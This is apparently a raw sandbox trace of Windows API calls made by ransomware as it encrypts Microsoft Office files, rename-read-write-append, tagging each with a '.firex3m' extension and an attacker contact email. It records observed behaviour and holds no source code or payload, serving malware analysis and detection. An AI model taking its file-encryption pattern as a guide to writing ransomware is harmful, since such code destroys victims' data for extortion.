FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x474a99c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x474a99c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x474a99c, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROSE.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROSECS~1.FIR")) returned 0x6d5040 [0186.107] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0186.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\rose.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0186.108] GetProcessHeap () returned 0x630000 [0186.108] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x695ed0 [0186.108] GetProcessHeap () returned 0x630000 [0186.108] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x6fa4008 [0186.108] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.108] ReadFile (in: hFile=0x42c, lpBuffer=0x695ed0, nNumberOfBytesToRead=0xd60, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesRead=0x5c3ff0c*=0xd60, lpOverlapped=0x0) returned 1 [0186.122] GetProcessHeap () returned 0x630000 [0186.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0186.122] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.122] WriteFile (in: hFile=0x42c, lpBuffer=0x6fa4008*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4008*, lpNumberOfBytesWritten=0x5c3ff0c*=0xd60, lpOverlapped=0x0) returned 1 [0186.123] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.123] WriteFile (in: hFile=0x42c, lpBuffer=0x6fa4d67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4d67*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0186.123] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.123] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0186.123] CloseHandle (hObject=0x42c) returned 1 [0186.123] GetProcessHeap () returned 0x630000 [0186.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa4008 | out: hHeap=0x630000) returned 1 [0186.123] GetProcessHeap () returned 0x630000 [0186.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0186.123] GetProcessHeap () returned 0x630000 [0186.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0186.123] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0186.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x474a99c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x474a99c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x34e394db, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd9e, dwReserved0=0xaec7496, dwReserved1=0x695ec8, cFileName="ROSE.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROSECS~1.FIR")) returned 0x6d53c0 [0186.123] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0186.124] Sleep (dwMilliseconds=0x1) [0186.137] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Review.xsn", len=0x4d | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Review.xsn") returned 1 [0186.137] GetProcessHeap () returned 0x630000 [0186.137] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29dc) returned 0x707d3d0 [0186.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Review.xsn" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\reviewrouting_review.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0186.139] CloseHandle (hObject=0x42c) returned 1 [0186.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0186.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Review.xsn" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\reviewrouting_review.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Review.xsn.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\reviewrouting_review.xsn.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0186.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0186.140] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Review.xsn.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x514d, dwReserved0=0x6d0033, dwReserved1=0x0, cFileName="ReviewRouting_Review.xsn.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REVIEW~1.FIR")) returned 0x6d5280 [0186.140] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0186.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Review.xsn.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\reviewrouting_review.xsn.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0186.140] GetProcessHeap () returned 0x630000 [0186.140] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5161) returned 0x71049c0 [0186.141] GetProcessHeap () returned 0x630000 [0186.141] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5161) returned 0x72531e0 [0186.141] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.141] ReadFile (in: hFile=0x42c, lpBuffer=0x71049c0, nNumberOfBytesToRead=0x5140, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71049c0*, lpNumberOfBytesRead=0x5c3ff0c*=0x5140, lpOverlapped=0x0) returned 1 [0190.406] GetProcessHeap () returned 0x630000 [0190.406] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0190.407] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.407] WriteFile (in: hFile=0x42c, lpBuffer=0x72531e0*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72531e0*, lpNumberOfBytesWritten=0x5c3ff0c*=0x5140, lpOverlapped=0x0) returned 1 [0190.407] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.407] WriteFile (in: hFile=0x42c, lpBuffer=0x725831f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x725831f*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0190.408] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.408] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0190.408] CloseHandle (hObject=0x42c) returned 1 [0190.408] GetProcessHeap () returned 0x630000 [0190.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72531e0 | out: hHeap=0x630000) returned 1 [0190.408] GetProcessHeap () returned 0x630000 [0190.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71049c0 | out: hHeap=0x630000) returned 1 [0190.409] GetProcessHeap () returned 0x630000 [0190.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0190.409] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.409] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Review.xsn.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37707ab9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5171, dwReserved0=0xaec7496, dwReserved1=0x71049b8, cFileName="ReviewRouting_Review.xsn.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REVIEW~1.FIR")) returned 0x6d5540 [0190.409] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0190.410] Sleep (dwMilliseconds=0x1) [0192.024] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSTX", len=0x50 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSTX") returned 1 [0192.024] GetProcessHeap () returned 0x630000 [0192.024] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45b0) returned 0x74656a8 [0192.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_m.vstx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0193.625] CloseHandle (hObject=0x6c8) returned 1 [0193.625] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.625] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_m.vstx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_m.vstx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0195.652] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0195.652] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c81c51, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c81c51, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4c81c51, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xc783, dwReserved0=0x650072, dwReserved1=0x330078, cFileName="WRKFLO_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WRKFLO~3.FIR")) returned 0x6d5240 [0195.653] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0195.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_m.vstx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0195.653] GetProcessHeap () returned 0x630000 [0195.653] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719ec10 [0195.653] GetProcessHeap () returned 0x630000 [0195.654] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x726fa50 [0195.654] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.654] ReadFile (in: hFile=0x6c8, lpBuffer=0x719ec10, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ec10*, lpNumberOfBytesRead=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0201.923] GetProcessHeap () returned 0x630000 [0201.923] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0201.923] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.923] WriteFile (in: hFile=0x6c8, lpBuffer=0x726fa50*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x726fa50*, lpNumberOfBytesWritten=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0201.924] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.924] WriteFile (in: hFile=0x6c8, lpBuffer=0x727ae4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727ae4f*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0201.924] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.924] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0201.924] CloseHandle (hObject=0x6c8) returned 1 [0201.924] GetProcessHeap () returned 0x630000 [0201.924] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726fa50 | out: hHeap=0x630000) returned 1 [0201.925] GetProcessHeap () returned 0x630000 [0201.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ec10 | out: hHeap=0x630000) returned 1 [0201.925] GetProcessHeap () returned 0x630000 [0201.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0201.925] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c81c51, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c81c51, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3e4e387c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xc7a7, dwReserved0=0xaec7496, dwReserved1=0x719ec08, cFileName="WRKFLO_M.VSTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WRKFLO~3.FIR")) returned 0x6d5280 [0201.925] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0201.925] Sleep (dwMilliseconds=0x1) [0204.151] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\RECOVR32.CNV", len=0x67 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\RECOVR32.CNV") returned 1 [0204.151] GetProcessHeap () returned 0x630000 [0204.151] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c1c) returned 0x7133a90 [0204.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\RECOVR32.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0204.152] CloseHandle (hObject=0x4e4) returned 1 [0204.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0204.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\RECOVR32.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\recovr32.cnv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\RECOVR32.CNV.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\recovr32.cnv.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0204.153] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0204.153] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\RECOVR32.CNV.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf15d84bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa6b0, dwReserved0=0x740063, dwReserved1=0x73002d, cFileName="RECOVR32.CNV.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RECOVR~1.FIR")) returned 0x6d5200 [0204.153] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0204.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\RECOVR32.CNV.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\recovr32.cnv.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0204.153] GetProcessHeap () returned 0x630000 [0204.153] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa6c1) returned 0x74aaec8 [0204.154] GetProcessHeap () returned 0x630000 [0204.154] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa6c1) returned 0x74b5598 [0204.155] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.155] ReadFile (in: hFile=0x4e4, lpBuffer=0x74aaec8, nNumberOfBytesToRead=0xa6a0, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aaec8*, lpNumberOfBytesRead=0x5c3ff0c*=0xa6a0, lpOverlapped=0x0) returned 1 [0212.174] GetProcessHeap () returned 0x630000 [0212.174] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0212.175] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.175] WriteFile (in: hFile=0x4e4, lpBuffer=0x74b5598*, nNumberOfBytesToWrite=0xa6a0, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74b5598*, lpNumberOfBytesWritten=0x5c3ff0c*=0xa6a0, lpOverlapped=0x0) returned 1 [0212.175] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.175] WriteFile (in: hFile=0x4e4, lpBuffer=0x74bfc37*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74bfc37*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0212.175] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.175] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0212.175] CloseHandle (hObject=0x4e4) returned 1 [0212.175] GetProcessHeap () returned 0x630000 [0212.175] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74b5598 | out: hHeap=0x630000) returned 1 [0212.176] GetProcessHeap () returned 0x630000 [0212.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aaec8 | out: hHeap=0x630000) returned 1 [0212.176] GetProcessHeap () returned 0x630000 [0212.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0212.176] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0212.176] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\RECOVR32.CNV.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf15d84bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4469c255, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa6d4, dwReserved0=0xaec7496, dwReserved1=0x74aaec0, cFileName="RECOVR32.CNV.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RECOVR~1.FIR")) returned 0x6d5540 [0212.176] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0212.176] Sleep (dwMilliseconds=0x1) [0214.182] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office 15\\isspos.exe", len=0x2f | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office 15\\isspos.exe") returned 1 